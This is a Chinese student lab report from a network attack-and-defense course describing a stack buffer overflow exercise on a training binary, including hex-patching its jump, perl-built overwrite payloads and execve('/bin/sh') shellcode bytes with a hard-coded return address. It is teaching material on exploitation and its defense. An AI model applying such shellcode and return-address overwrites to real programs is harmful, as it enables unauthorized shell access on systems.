实 验 报 告
课程名称: | 网络与系统攻防技术 |
---|---|
实验序号: | 实验一 |
实验名称: | 缓冲区溢出攻击 |
学 号: | 20232408 |
姓 名: | 李易骋 |
指导老师: | 王志强 |
必修/选修: | 选修 |
实验日期: |
一、实验目的
1. 掌握反汇编与十六进制编程器
2. 能正确修改机器指令改变程序执行流程
3. 能正确构造payload进行Bof攻击
二、实验内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
实践内容如下:
1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
3. 利用nc远程,进行对getShell的触发控制。
三、基础知识
1. Linux shell指令操作
1.1 基本指令:
cd,ls,od,vim,xxd,cat,cp,mv,mkdir,rm……
1.2 C程序编译与开发:
gcc,gdb,cgdb
2. 反汇编
反汇编是将可执行文件反向转换成汇编语言的过程。
Linux反汇编工具objdump:
基础使用命令:objdump -d
基于不同架构:objdump -m
- 缓冲区溢出
3.1 相关概念
缓冲区、堆和栈
栈(Stack):后进先出结构,用于管理函数调用。
堆(Heap):用于动态分配内存,需手动分配和释放。
缓冲区(Buffer):程序里用来临时存储数据的一块连续内存。
在利用漏洞时,必须将地址按小端序写入载荷,否则会跳转到错误地址。
3.2 基本原理
调用函数时,栈上的内存布局如下:
表 1 栈上内存布局
高地址 | |
---|---|
参数 | |
返回地址RET | |
新EBP→ | 旧的EBP内容 |
局部变量 | |
低地址 |
当向缓冲区写入大量的数据时,一部分数据会溢出到返回地址等其他关键数据。攻击者通过构造存在内存的恶意代码段和含有该代码段地址的一段数据,使得返回地址恰好被恶意代码地址覆盖,从而达到返回时执行代码段的目的。
四、实验过程
1. 手工修改pwn20232408文件,执行ls命令
1.1 配置初始文件
unzip pwn1.zip
cp pwn1 pwn20232408
Objdump -d pwn20232408 | more
1.2 修改文件内容
vi pwn20232408
%!xxd
/e8 d7
,修改为e8 c3
%!xxd -r
退出保存,执行文件./pwn20232408
再次反汇编,查看是否正确修改,检查结果正确。
-
通过构造输入参数,造成BOF攻击,改变程序执行流
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
直接注入,跳转到系统函数getshell的位置。3.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.1反汇编程序,分析程序
Objdump -d pwn20232408 | more
发现这里是gets,没有检测输入长度,是有缓冲区溢出攻击的可能性的。这个注入和上一个不同的是,不是去找getshell,而是自己构造shellcode。
3.2设置断点,查找可以攻击的漏洞
这里是后面重新开机做的,esp地址变了。在实验时是ffffd35c。由于我们选择这种形式:nop+shellcode+retaddr
参照指导书写的shellcode是perl -e 'print "A" x 32 . "\x04\x03\x02\x01"."\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input\_shellcode
为什么这里是A * 32呢?
push ebp ;
mov ebp, esp ; 这里相差一个地址单位,是4字节,而
-0x1c就是-28,所以其实是差了32字节,我们可以自行输入少于32字节的输入来验证。
这样就可以注入后续代码,使其溢出覆盖到返回地址。
3.3修改注入,执行命令
我们可以修改“/x04/x03/x02/x01”,伪造esp的返回地址,使其跳转到我们要它跳转的位置。即esp+8的位置,也就是我们shellcode的位置。
将“/x04/x03/x02/x01”修改为“/x60/xd3/xff/xff”,再次注入。
- nc远程连接
根据实验指导书,直接开双终端连接自己主机。
证明可以实现。
五、实验中遇到的问题及解决
1.没有execstack,下载不了(报错是网址不存在),后来换了patchelf,效果是一样的。
2.在做第三步时,注入shellcode,一开始没有调试成功,管道破碎。后来发现是按照实验指导书写的payload可能不太好找shellcode位置,所以后面换了一种方式注入。
3.第三次调试的时候发现esp返回地址一团乱麻,后来检查时发现是忘记了关闭地址随机化,之前都是关闭的,只是第三次调试忘了。
六、实验体会
缓冲区溢出真的是很神奇的攻击方式,我觉得一个核心在于找到注入点,还有一个就在于shellcode的构思。这次实验做了很久,出现了许多问题,有些问题解决了一次第二次又有新的“变式”,但是通过不断解决问题,我对这个知识点的认识更加深入。同时,我们不仅是“攻击者”,也是“防御者”,会了怎么攻击,才能知道怎么去防御。在写函数时,要做最基本的限制输入长度;可以限制一些危险十六进制字符的输入,来在一定程度上限制缓冲区溢出攻击。